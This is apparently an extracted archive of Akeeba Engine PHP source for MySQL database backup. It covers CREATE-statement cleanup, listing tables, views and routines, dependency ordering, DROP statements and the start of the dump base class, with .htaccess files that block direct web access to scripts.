			$db->resetErrors();

			$temp = [
				['', '', ''],
			];
		}

		$columnKey = 'Create ' . ucfirst(strtolower($type));
		$table_sql = $temp[0][$columnKey] ?? null;

		if ($table_sql === null)
		{
			$columnId  = $type === 'event' ? 3 : 2;
			$table_sql = array_values($temp[0])[$columnId] ?? null;
		}

		unset($temp);

		if (empty($table_sql))
		{
			Factory::getLog()->warning(
				"Cannot get the structure of $type $abstractName. The database refused to return the CREATE command for this $type. Please check your database privileges. Your database backup may be incomplete."
			);

			return null;
		}

		Factory::getLog()->debug(
			sprintf(
				'Got create for %s %s (internal name %s)',
				$type,
				$concreteName,
				$abstractName
			)
		);

		switch ($type)
		{
			case 'procedure':
			case 'event':
			case 'function':
			case 'trigger':
				$table_sql = $this->preProcessCreateSQLForRoutine($table_sql, $type);
				break;

			case 'view':
				$table_sql = $this->preProcessCreateSQLForView($table_sql);
				break;

			case 'table':
			case 'merge':
			default:
				$table_sql = $this->preProcessCreateSQLForTable($table_sql);
		}

		/**
		 * Replace table name and names of referenced tables with their abstracted forms and populate dependency tables
		 * at the same time.
		 */
		if (!$this->useAbstractNames)
		{
			$old_table_sql = $table_sql;
		}

		/**
		 * Abstract table names AND update dependency tracking information.
		 *
		 * Because this updates the tracking information we can not skip it when $mustAbstractTableNames is false. This
		 * is why we restore $table_sql in this case, and this case only.
		 *
		 * We have to quote the table name. If we don't we'll get wrong results. Imagine that you have a column whose
		 * name starts with the string literal of the table name itself.
		 *
		 * Example: table `poll`, column `poll_id` would become #__poll, #__poll_id
		 *
		 * By quoting before we make sure this won't happen.
		 */
		$table_sql = $this->replaceTableNamesWithAbstracts($concreteName, $table_sql);

		if (!$this->useAbstractNames)
		{
			$table_sql = $old_table_sql;
		}

		return $this->postProcessCreateSQL($table_sql, $type);
	}

	/**
	 * Pre-process the CREATE SQL command of a procedure, event, function, or trigger.
	 *
	 * Remove the definer from the CREATE PROCEDURE/EVENT/TRIGGER/FUNCTION. For example, MySQL returns this:
	 * CREATE DEFINER=`myuser`@`localhost` PROCEDURE `abc_myProcedure`() ...
	 * If you're restoring on a different machine the definer will probably be invalid, therefore we need to
	 * remove it from the (portable) output.
	 *
	 * @param   string  $table_sql  The CREATE SQL statement
	 * @param   string  $type       The entity type: procedure, event, function, or trigger
	 *
	 * @return  string
	 * @throws  Exception
	 */
	private function preProcessCreateSQLForRoutine(string $table_sql, string $type): string
	{
		$db = $this->getDB();

		// MySQL adds the database name into everything. We have to remove it.
		$dbName    = $db->qn($this->database) . '.`';
		$table_sql = str_replace($dbName, '`', $table_sql);

		// These can contain comment lines, starting with a double dash. Remove them.
		$table_sql = trim($table_sql);

		/**
		 * Remember, $table_sql may be multiline.
		 *
		 * Therefore, we need to process only the first line and append any further lines to the CREATE statement.
		 */
		$table_sql = trim($table_sql);
		$lines     = explode("\n", $table_sql);
		$firstLine = array_shift($lines);
		$pattern   = '/^CREATE(.*?) ' . strtoupper($type) . ' (.*)/i';
		$result    = preg_match($pattern, $firstLine, $matches);
		$table_sql = 'CREATE ' . strtoupper($type) . ' ' . $matches[2] . "\n" . implode("\n", $lines);
		$table_sql = trim($table_sql);

		return $table_sql;
	}

	/**
	 * Pre-process the CREATE VIEW command.
	 *
	 * Newer MySQL versions add the definer and other information in the CREATE VIEW output, e.g.
	 * CREATE ALGORITHM=UNDEFINED DEFINER=`muyser`@`localhost` SQL SECURITY DEFINER VIEW `abc_myview` AS ...
	 * We need to remove that to prevent restoration troubles.
	 *
	 * @param   string  $table_sql  The CREATE VIEW SQL statement
	 *
	 * @return  string
	 */
	private function preProcessCreateSQLForView(string $table_sql): string
	{
		preg_match('/^CREATE(.*?) VIEW (.*)/i', $table_sql, $matches);

		return 'CREATE VIEW ' . $matches[2];
	}

	/**
	 * Pre-process the CREATE TABLE command.
	 *
	 * This method addresses a lot of cross-server issues which may arise by using several not-so-important MYSQL and
	 * MariaDB features in tables such as:
	 * - Using BTREE / HASH statements for indices.
	 * - Tablespaces.
	 * - DATA/INDEX DIRECTORY.
	 * - ROW_FORMAT in InnoDB tables.
	 * - PAGE_CHECKSUM in MariaDB's MyISAM.
	 * - References to foreign tables in constraints and indices.
	 *
	 * @param   string  $table_sql  The CREATE VIEW SQL statement
	 *
	 * @return  string
	 */
	private function preProcessCreateSQLForTable(string $table_sql): string
	{
		// USING BTREE / USING HASH in indices causes issues migrating from MySQL 5.1+ hosts to MySQL 5.0 hosts
		if (Factory::getConfiguration()->get('engine.dump.native.nobtree', 1))
		{
			$table_sql = str_replace(' USING BTREE', ' ', $table_sql);
			$table_sql = str_replace(' USING HASH', ' ', $table_sql);
		}

		// Translate TYPE= to ENGINE=
		$table_sql = str_replace('TYPE=', 'ENGINE=', $table_sql);

		/**
		 * Remove the TABLESPACE option.
		 *
		 * The format of the TABLESPACE table option is:
		 * TABLESPACE tablespace_name [STORAGE {DISK|MEMORY}]
		 * where tablespace_name can be a quoted or unquoted identifier.
		 */
		[$validCharRegEx, $unicodeFlag] = $this->getMySQLIdentifierCharacterRegEx();
		$tablespaceName = "((($validCharRegEx){1,})|(`.*`))";
		$suffix         = 'STORAGE\s{1,}(DISK|MEMORY)';
		$regex          = "#TABLESPACE\s{1,}$tablespaceName\s{0,}($suffix){0,1}#i" . $unicodeFlag;
		$table_sql      = preg_replace($regex, '', $table_sql);

		// Remove table options {DATA|INDEX} DIRECTORY
		$regex     = "#(DATA|INDEX)\s{1,}DIRECTORY\s*=?\s*'.*'#i";
		$table_sql = preg_replace($regex, '', $table_sql);

		// Remove table options ROW_FORMAT=whatever
		$regex     = "#ROW_FORMAT\s*=\s*[A-Z]{1,}#i";
		$table_sql = preg_replace($regex, '', $table_sql);

		// Remove MariaDB MyISAM option PAGE_CHECKSUM
		$regex     = "#PAGE_CHECKSUM\s*=\s*[\d]{1,}#i";
		$table_sql = preg_replace($regex, '', $table_sql);

		// Remove MySQL option KEY_BLOCK_SIZE
		// @link https://www.akeeba.com/support/akeeba-backup/41463-incorrect-usage-placement-of-key-block-size.html
		$regex     = "#KEY_BLOCK_SIZE\s*=\s*[\d]{1,}#i";
		$table_sql = preg_replace($regex, '', $table_sql);

		// Abstract the names of table constraints and indices
		$regex     = "#(CONSTRAINT|KEY|INDEX)\s{1,}`{$this->prefix}#i";
		$table_sql = preg_replace($regex, '$1 `#__', $table_sql);

		return $table_sql;
	}

	/**
	 * Get a regular expression and its options for valid characters of an unquoted MySQL identifier.
	 *
	 * This is used wherever we need to detect an arbitrary, unquoted MySQL identifier per
	 * https://dev.mysql.com/doc/refman/5.7/en/identifiers.html
	 *
	 * Also what if Unicode support is not compiled in PCRE? In this case we will fall back to a much simpler regex
	 * which only supports the ASCII subset of the allowed characters. In this case your database dump will be wrong
	 * if you use table names with non-ASCII characters.
	 *
	 * Since the detection is horribly slow we cache its results in an internal static variable.
	 *
	 * @return  array  In the format [$regex, $flags]
	 * @since   7.0.0
	 */
	private function getMySQLIdentifierCharacterRegEx(): array
	{
		static $validCharRegEx = null;
		static $unicodeFlag = null;

		if (is_null($validCharRegEx) || is_null($unicodeFlag))
		{
			$noUnicode      = @preg_match('/\p{L}/u', 'σ') !== 1;
			$unicodeFlag    = $noUnicode ? '' : 'u';
			$validCharRegEx = $noUnicode ? '[0-9a-zA-Z$_]' : '[0-9a-zA-Z$_]|[\x{0080}-\x{FFFF}]';
		}

		return [$validCharRegEx, $unicodeFlag];
	}

	/**
	 * Replaces the table names in the CREATE query with their abstract form. Optionally updates dependencies.
	 *
	 * @param   string  $tableName        The table name the CREATE query is for
	 * @param   string  $tableSql         The CREATE query itself
	 *
	 * @return  string
	 *
	 * @throws  Exception  When we cannot get the DB object
	 */
	private function replaceTableNamesWithAbstracts(string $tableName, string $tableSql): string
	{
		// Initialization
		$tableNameMap = $this->table_name_map;
		$db           = $this->getDB();

		if (!array_key_exists($tableName, $tableNameMap))
		{
			$tableNameMap[$tableName] = $this->getAbstract($tableName);
		}

		foreach ($tableNameMap as $fullName => $abstractName)
		{
			$quotedFullName     = $db->quoteName($fullName);
			$quotedAbstractName = $db->quoteName($abstractName);
			$pos                = strpos($tableSql, $quotedFullName);

			if ($pos !== false)
			{
				// Do the replacement
				$tableSql = str_replace($quotedFullName, $quotedAbstractName, $tableSql);

				continue;
			}

			if (is_numeric($fullName))
			{
				continue;
			}

			$offset                   = 0;
			$fullNameLength           = strlen($fullName);
			$quotedAbstractNameLength = strlen($quotedAbstractName);

			/**
			 * We need to detect the edges of table names. If they are enclosed in backticks it's pretty clear. If they are
			 * not, e.g. in the definitions of TRIGGERs, we need to base our detection on the valid characters for
			 * unquoted MySQL table names per https://dev.mysql.com/doc/refman/5.7/en/identifiers.html
			 */
			[$bareCharRegex, $regexFlags] = $this->getMySQLIdentifierCharacterRegEx();
			$fullCharRegex = "/$bareCharRegex/$regexFlags";

			while (true)
			{
				$pos = strpos($tableSql, $fullName, $offset);

				if ($pos === false)
				{
					break;
				}

				// Skip over table-name-like strings in strings enclosed by single quotes
				$quotePos = strpos($tableSql, "'", $offset);

				if ($quotePos !== false && $quotePos < $pos)
				{
					// The table-like token is inside a string. Find its end.
					while (true)
					{
						$nextPos = strpos($tableSql, "'", $quotePos + 1);

						if ($nextPos === false)
						{
							break;
						}

						$prevChar = $nextPos > 0 ? $tableSql[$nextPos - 1] : null;
						$nextChar = strlen($tableSql) > $nextPos + 1 ? $tableSql[$nextPos + 1] : null;

						// Catch quote escaped as \'
						if ($prevChar === '\\')
						{
							$quotePos = $nextPos;

							continue;
						}

						// Catch quote escaped as ''
						if ($nextChar === "'")
						{
							$quotePos = $nextPos + 1;

							continue;
						}

						$offset = $nextPos + 1;

						continue 2;
					}
				}

				// Skip over table-name-like strings in strings enclosed by double quotes
				$quotePos = strpos($tableSql, '"', $offset);

				if ($quotePos !== false && $quotePos < $pos)
				{
					// The table-like token is inside a string. Find its end.
					while (true)
					{
						$nextPos = strpos($tableSql, '"', $quotePos + 1);

						if ($nextPos === false)
						{
							break;
						}

						$prevChar = $nextPos > 0 ? $tableSql[$nextPos - 1] : null;
						$nextChar = strlen($tableSql) > $nextPos + 1 ? $tableSql[$nextPos + 1] : null;

						// Catch quote escaped as \"
						if ($prevChar === '\\')
						{
							$quotePos = $nextPos;

							continue;
						}

						// Catch quote escaped as ""
						if ($nextChar === '"')
						{
							$quotePos = $nextPos + 1;

							continue;
						}

						$offset = $nextPos + 1;

						continue 2;
					}
				}

				// Catch table-name-like substring inside another table's name
				$previousChar    = ($pos > 0) ? substr($tableSql, $pos - 1, 1) : '';
				$nextChar        = ($pos < (strlen($tableSql) - $fullNameLength)) ? substr($tableSql, $pos + $fullNameLength, 1) : '';
				$prevIsTableChar = $previousChar === '' ? false : preg_match($fullCharRegex, $previousChar);
				$nextIsTableChar = $nextChar === '' ? false : preg_match($fullCharRegex, $nextChar);

				if ($prevIsTableChar || $nextIsTableChar)
				{
					$offset = $pos + 1;

					continue;
				}

				$before = ($pos > 0) ? substr($tableSql, 0, $pos) : '';
				$after  = ($pos < (strlen($tableSql) - $fullNameLength)) ? substr($tableSql, $pos + $fullNameLength) : '';

				$tableSql = $before . $quotedAbstractName . $after;

				$offset = $pos + $quotedAbstractNameLength;
			}

		}

		return $tableSql;
	}

	/**
	 * Post-process the CREATE command for a view, table, procedure, event, function, or trigger.
	 *
	 * @param   string  $table_sql
	 * @param   string  $type
	 *
	 * @return  string
	 * @throws  Exception
	 */
	private function postProcessCreateSQL(string $table_sql, string $type): string
	{
		$db  = $this->getDB();

		// Add a final semicolon and newline character
		$table_sql = rtrim($table_sql);
		$table_sql = rtrim($table_sql, ';');
		$table_sql .= ";\n";

		/**
		 * Views, procedures, functions and triggers may contain the database name followed by the table name, always
		 * quoted e.g. `db`.`table_name`  We need to replace all these instances with just the table name. The only
		 * reliable way to do that is to look for "`db`.`" and replace it with "`"
		 */
		if (in_array($type, ['view', 'procedure', 'function', 'trigger', 'event']))
		{
			$dbName      = $db->qn($this->getDatabaseName());
			$dummyQuote  = $db->qn('foo');
			$findWhat    = $dbName . '.' . substr($dummyQuote, 0, 1);
			$replaceWith = substr($dummyQuote, 0, 1);
			$table_sql   = str_replace($findWhat, $replaceWith, $table_sql);
		}

		// Post-process CREATE VIEW
		if ($type == 'view')
		{
			$pos_view = strpos($table_sql, ' VIEW ');

			if ($pos_view > 7)
			{
				// Only post process if there are view properties between the CREATE and VIEW keywords
				// -- Properties string
				$propstring = substr($table_sql, 7, $pos_view - 7);
				// -- Fetch the ALGORITHM={UNDEFINED | MERGE | TEMPTABLE} keyword
				$algostring = '';
				$algo_start = strpos($propstring, 'ALGORITHM=');

				if ($algo_start !== false)
				{
					$algo_end   = strpos($propstring, ' ', $algo_start);
					$algostring = substr($propstring, $algo_start, $algo_end - $algo_start + 1);
				}

				// Create our modified create statement
				return 'CREATE OR REPLACE ' . $algostring . substr($table_sql, $pos_view);
			}
		}

		$pos_entity = stripos($table_sql, sprintf(" %s ", strtoupper($type)));

		if ($pos_entity !== false)
		{
			$table_sql = 'CREATE' . substr($table_sql, $pos_entity);
		}

		return $table_sql;
	}
}PK     \+Iw  w  D  vendor/akeeba/engine/engine/Dump/Native/MySQL/DropStatementTrait.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\MySQL;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Dump\Dependencies\Entity;
use Akeeba\Engine\Factory;
use Exception;

trait DropStatementTrait
{
	/**
	 * Creates a drop query from an entity
	 *
	 * @param   Entity  $entity
	 *
	 * @return  string  The DROP statement
	 * @throws Exception
	 */
	private function createDrop(Entity $entity): string
	{
		return sprintf(
			"DROP %s IF EXISTS %s;",
			strtoupper(trim($entity->type)),
			$this->getDB()->nameQuote($this->useAbstractNames ? $entity->abstractName : $entity->name)
		);
	}
}PK     \3H5  5  C  vendor/akeeba/engine/engine/Dump/Native/MySQL/ListEntitiesTrait.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\MySQL;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Dump\Dependencies\Entity;
use Akeeba\Engine\Dump\Dependencies\Resolver;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Collection;
use Exception;
use RuntimeException;
use Throwable;

/**
 * Trait to list the entities which will be backed up.
 *
 * This uses an integrated view/table dependency resolver.
 *
 * @since  9.10.0
 */
trait ListEntitiesTrait
{
	/**
	 * Get a collection of all tables and views in the database
	 *
	 * @return  Collection
	 * @throws  RuntimeException|Exception
	 */
	private function getTablesViewCollection(): Collection
	{
		Factory::getLog()->debug(
			sprintf("%s :: Listing tables and views", __CLASS__)
		);

		$db = $this->getDB();

		// Get the names of all tables and views, along with the metadata I need to process them
		try
		{
			$sql = $db->getQuery(true)
				->select(
					[
						$db->quoteName('TABLE_NAME', 'name'),
						$db->quoteName('TABLE_TYPE', 'type'),
						$db->quoteName('ENGINE', 'engine'),
					]
				)
				->from($db->quoteName('INFORMATION_SCHEMA.TABLES'))
				->where($db->quoteName('TABLE_SCHEMA') . ' = DATABASE()');

			$meta = $db->setQuery($sql)->loadObjectList();
		}
		catch (Throwable $e)
		{
			throw new RuntimeException(
				sprintf('Cannot list tables and views for database %s', $this->database),
				500,
				$e
			);
		}

		// Create entities collection, keyed by the concrete table/view name.
		$entities = new Collection();
		$filters  = Factory::getFilters();

		foreach ($meta as $tableMeta)
		{
			try
			{
				$entity = new Entity($tableMeta->type, $tableMeta->name, $this->getAbstract($tableMeta->name));

				// Is the table/view name “bad”, preventing us from backing it up?
				if ($this->isBadEntityName($entity->type, $entity->name))
				{
					// No need to log; the called method logs any bad naming reasons for us.
					continue;
				}

				// Is the entity filtered?
				if ($filters->isFiltered($entity->abstractName, $this->dbRoot, 'dbobject', 'all'))
				{
					Factory::getLog()->info(
						sprintf(
							"%s :: Skipping %s %s (internal name %s)",
							__CLASS__, $entity->type, $entity->name, $entity->abstractName
						)
					);

					continue;
				}

				// All good. Log it, and add it to the collection.
				Factory::getLog()->info(
					sprintf(
						"%s :: Adding %s %s (internal name %s)",
						__CLASS__, $entity->type, $entity->name, $entity->abstractName
					)
				);

				$entities->put(
					$entity->name,
					$entity->setDumpContents(
						$this->canDumpData($entity->type, $entity->abstractName, $tableMeta->engine)
					)
				);
			}
			catch (Throwable $e)
			{
				Factory::getLog()->warning(
					sprintf(
						'%s %s will not be backed up (%s)',
						strtolower($tableMeta->type), $tableMeta->name, $e->getMessage()
					)
				);
			}
		}

		return $entities;
	}

	/**
	 * Get a collection with the routines of the specified type found in the database.
	 *
	 * The routines are returned in the default database order. We don't need a dependency resolver for them. See the
	 * linked GitHub issue.
	 *
	 * @param   string  $type  The routine type (procedure, function, trigger, event)
	 *
	 * @return  Collection
	 * @throws  Exception
	 * @link    https://github.com/akeeba/engine/issues/136
	 */
	private function getRoutinesCollection(string $type): Collection
	{
		$entities       = new Collection();
		$registry       = Factory::getConfiguration();
		$enableEntities = $registry->get('engine.dump.native.advanced_entitites', true);

		if (!$enableEntities)
		{
			Factory::getLog()->debug(sprintf("%s :: NOT listing %ss (you told me not to)", __CLASS__, $type));

			return $entities;
		}

		$db      = $this->getDB();
		$filters = Factory::getFilters();

		Factory::getLog()->debug(
			sprintf("%s :: Listing %ss", __CLASS__, strtoupper($type))
		);

		switch ($type)
		{
			case 'table':
				$sql    = 'SHOW TABLES';
				$offset = 0;
				break;

			case 'event':
				$sql    = "SHOW EVENTS WHERE `Db`=" . $db->quote($this->database);
				$offset = 1;
				break;

			case 'trigger':
				$sql    = 'SHOW TRIGGERS IN ' . $db->quoteName($this->database);
				$offset = 0;
				break;

			default:
				$sql    = "SHOW " . $type . " STATUS WHERE `Db`=" . $db->quote($this->database);
				$offset = 1;
				break;
		}

		try
		{
			$allNames = $db->setQuery($sql)->loadResultArray($offset);
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(
				sprintf("%s :: Cannot list %ss: %s", __CLASS__, strtoupper($type), $e->getMessage())
			);

			$db->resetErrors();

			return $entities;
		}

		if (!is_countable($allNames) || !count($allNames))
		{
			Factory::getLog()->debug(
				sprintf("%s :: No %ss found", __CLASS__, strtoupper($type))
			);

			return $entities;
		}

		foreach ($allNames as $name)
		{
			try
			{
				$entity = new Entity($type, $name, $this->getAbstract($name), false);

				// Is the table/view name “bad”, preventing us from backing it up?
				if ($this->isBadEntityName($entity->type, $entity->name))
				{
					// No need to log; the called method logs any bad naming reasons for us.
					continue;
				}

				// Is the entity filtered?
				if ($filters->isFiltered($entity->abstractName, $this->dbRoot, 'dbobject', 'all'))
				{
					Factory::getLog()->info(
						sprintf(
							"%s :: Skipping %s %s (internal name %s)",
							__CLASS__, $entity->type, $entity->name, $entity->abstractName
						)
					);

					continue;
				}

				// All good. Log it, and add it to the collection.
				Factory::getLog()->info(
					sprintf(
						"%s :: Adding %s %s (internal name %s)",
						__CLASS__, $entity->type, $entity->name, $entity->abstractName
					)
				);

				$entities->push($entity);
			}
			catch (Throwable $e)
			{
				Factory::getLog()->warning(
					sprintf(
						'%s %s will not be backed up (%s)',
						strtolower($type), $name, $e->getMessage()
					)
				);
			}
		}

		return $entities;
	}

	/**
	 * Isolates parsed SQL nodes by their type.
	 *
	 * @param   array   $parsed  The parsed SQL nodes tree
	 * @param   string  $type    The node type to extract
	 *
	 * @return  array|string
	 * @see     self::getViewDependencies()
	 */
	private function isolateParsedNodes(array $parsed, string $type)
	{
		if (isset($parsed[$type]))
		{
			return $parsed[$type];
		}

		$ret = [];

		foreach ($parsed as $key => $node)
		{
			if (is_array($node) && ($maybe = $this->isolateParsedNodes($node, $type)))
			{
				$ret[] = $maybe;
			}
		}

		return $ret;
	}

	/**
	 * Extract table names from a list of parsed SQL nodes
	 *
	 * @param   array  $parsed  The parsed SQL nodes tree
	 *
	 * @return  array|string
	 * @see     self::getViewDependencies()
	 */
	private function extractTablesFromParsedNodes(array $parsed)
	{
		if (isset($parsed['expr_type']) && $parsed['expr_type'] == 'table')
		{
			return end($parsed['no_quotes']['parts']) ?: null;
		}

		$ret = [];

		foreach ($parsed as $key => $node)
		{
			if (is_array($node) && ($maybe = $this->extractTablesFromParsedNodes($node)))
			{
				$ret[] = $maybe;
			}
		}

		return $ret;
	}

	/**
	 * Flattens a deeply nested array
	 *
	 * @param   array  $nestedArray  The nested array to flatten
	 *
	 * @return  array
	 * @see     self::getViewDependencies()
	 */
	private function flattenArray(array $nestedArray): array
	{
		$ret = [];

		array_walk_recursive(
			$nestedArray,
			function ($value) use (&$ret) {
				$ret[] = $value;
			}
		);

		return $ret;
	}

	/**
	 * Get the VIEW dependencies by parsing the DDL stored in the database for each view.
	 *
	 * This is a slower, less accurate method for old database servers, e.g. MySQL 5.7 and MariaDB 10.11.
	 *
	 * @param   Collection  $entities
	 *
	 * @return  array
	 * @throws  Exception
	 * @see     self::resolveDependencies()
	 */
	private function getViewDependencies(Collection $entities): array
	{
		$ret = [];

		/** @var Entity $entity */
		foreach ($entities as $entity)
		{
			if ($entity->type !== 'view')
			{
				continue;
			}

			$db               = $this->getDB();
			$sql              = 'SHOW CREATE VIEW ' . $db->quoteName($entity->name);
			$viewInfo         = $db->setQuery($sql)->loadAssoc();
			$parsed           = (new \PHPSQLParser\PHPSQLParser())->parse($viewInfo['Create View']);
			$referencedTables = [];

			foreach ($this->isolateParsedNodes($parsed, 'FROM') as $node)
			{
				$temp             = $this->extractTablesFromParsedNodes($node);
				$referencedTables = array_merge(
					$referencedTables,
					is_array($temp) ? $temp : [$temp]
				);
			}

			foreach (array_unique($this->flattenArray($referencedTables)) as $refTable)
			{
				$ret[] = (object) [
					'dependent'  => $entity->name,
					'dependency' => $refTable,
				];
			}
		}

		return $ret;
	}

	/**
	 * Resolve the table/view dependencies, and return the collection sorted by the resolved order.
	 *
	 * @param   Collection  $entities  The unsorted entities collection
	 *
	 * @return  Collection  The sorted entities collection
	 */
	private function resolveDependencies(Collection $entities): Collection
	{
		// Am I allowed to track dependencies?
		if (Factory::getConfiguration()->get('engine.dump.native.nodependencies', 0))
		{
			Factory::getLog()->debug(
				__CLASS__
				. " :: Dependency tracking is disabled. Tables will be backed up in the default database order."
			);

			return $entities;
		}

		Factory::getLog()->debug(__CLASS__ . " :: Processing table and view dependencies.");

		// Generate a dependencies collection
		$resolver = new Resolver($entities->mapPreserve(fn(Entity $entity): array => [])->toArray());

		// Get the table dependency information from the database
		$sql = /** @lang MySQL */
			<<< MySQL
SELECT DISTINCT `TABLE_NAME` AS `dependent`,
                `REFERENCED_TABLE_NAME` AS `dependency`
FROM `INFORMATION_SCHEMA`.`KEY_COLUMN_USAGE`
WHERE `TABLE_SCHEMA` = DATABASE()
  AND `REFERENCED_TABLE_SCHEMA` = `TABLE_SCHEMA`
MySQL;
		$db  = $this->getDB();
		try
		{
			$rawDependencies = $db->setQuery($sql)->loadObjectList();
		}
		catch (Throwable $e)
		{
			Factory::getLog()->warning(
				__CLASS__
				. " :: Cannot process table and view dependencies in the database. Tables will be backed up in the default database order."
			);

			$db->resetErrors();

			return $entities;
		}


		// Get the view dependency information from the database
		$useAlternateViewScanner = false;
		$sql                     = /** @lang MySQL */
			<<< MySQL
SELECT DISTINCT `VIEW_NAME` AS `dependent`,
                `TABLE_NAME` AS `dependency`
FROM `INFORMATION_SCHEMA`.`VIEW_TABLE_USAGE`
WHERE `VIEW_SCHEMA` = DATABASE()
  AND `TABLE_SCHEMA` = DATABASE();
MySQL;
		try
		{
			$rawViewDependencies = $db->setQuery($sql)->loadObjectList();
		}
		catch (Throwable $e)
		{
			$useAlternateViewScanner = true;

			$db->resetErrors();
		}

		// Get the view dependency information from the database (fallback using SQL parsing)
		if ($useAlternateViewScanner)
		{
			try
			{
				$rawViewDependencies = $this->getViewDependencies($entities);
			}
			catch (Exception $e)
			{
				Factory::getLog()->warning(
					__CLASS__
					. " :: Cannot process table and view dependencies in the database. Tables will be backed up in the default database order."
				);

				$db->resetErrors();

				return $entities;
			}
		}

		$rawDependencies = array_merge($rawDependencies, $rawViewDependencies);

		// Push the dependencies into the tree, and resolve it
		foreach ($rawDependencies as $dependency)
		{
			$resolver->add($dependency->dependent, $dependency->dependency);
		}

		$orderedKeys = $resolver->resolve();

		// Create and return an ordered collection
		$orderedCollection = new Collection();

		foreach ($orderedKeys as $key)
		{
			if (!$entities->has($key))
			{
				continue;
			}

			$value = $entities->get($key, null);

			if ($value === null)
			{
				continue;
			}

			$entities->forget($key);

			$orderedCollection->put($key, $value);
		}

		return $orderedCollection;
	}

	/**
	 * Are we allowed to dump the data of this table or view?
	 *
	 * @param   string       $type          Entity type: view or table
	 * @param   string|null  $abstractName  The abstract table/view name
	 * @param   string|null  $engine        The engine type, only applies to tables
	 *
	 * @return  bool
	 * @since   9.10.0
	 */
	private function canDumpData(string $type, ?string $abstractName, ?string $engine)
	{
		static $filters = null;

		$filters ??= Factory::getFilters();

		// We cannot dump data of views
		if ($type === 'view')
		{
			return false;
		}

		// We cannot dump data of tables with these database engines
		if (in_array(strtoupper($engine ?? ''), ['MRG_MYISAM', 'MEMORY', 'EXAMPLE', 'BLACKHOLE', 'FEDERATED']))
		{
			return false;
		}

		// User-defined filters for everything else
		return !$filters->isFiltered(
			$abstractName,
			$this->dbRoot,
			'dbobject',
			'content'
		);
	}
}PK     \Sʉ      7  vendor/akeeba/engine/engine/Dump/Native/MySQL/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      1  vendor/akeeba/engine/engine/Dump/Native/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \âd  d  )  vendor/akeeba/engine/engine/Dump/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Core\Domain\Pack;
use Akeeba\Engine\Driver\Base as DriverBase;
use Akeeba\Engine\Dump\Dependencies\Entity;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\FileCloseAware;
use Akeeba\Engine\Util\HashTrait;
use Exception;
use RuntimeException;

#[\AllowDynamicProperties]
abstract class Base extends Part
{
	use HashTrait;
	use FileCloseAware;

	// **********************************************************************
	// Configuration parameters
	// **********************************************************************

	/** @var int Current dump file part number */
	public $partNumber = 0;

	/** @var string Prefix to this database */
	protected $prefix = '';

	/** @var string MySQL database server host name or IP address */
	protected $host = '';

	/** @var string MySQL database server port (optional) */
	protected $port = '';

	/** @var string MySQL socket or named pipe (optional) */
	protected $socket = '';

	/** @var string MySQL user name, for authentication */
	protected $username = '';

	/** @var string MySQL password, for authentication */
	protected $password = '';

	/** @var string MySQL database */
	protected $database = '';

	/** @var string The database driver to use */
	protected $driver = '';

	/** @var array|null The MySQL SSL options */
	protected $ssl;

	// **********************************************************************
	// File handling fields
	// **********************************************************************
	/** @var boolean Should I post process quoted values */
	protected $postProcessValues = false;

	/** @var string Absolute path to dump file; must be writable (optional; if left blank it is automatically calculated) */
	protected $dumpFile = '';

	/** @var string Data cache, used to cache data before being written to disk */
	protected $data_cache = '';

	/** @var int */
	protected $largest_query = 0;

	/** @var int Size of the data cache, default 128Kb */
	protected $cache_size = 131072;

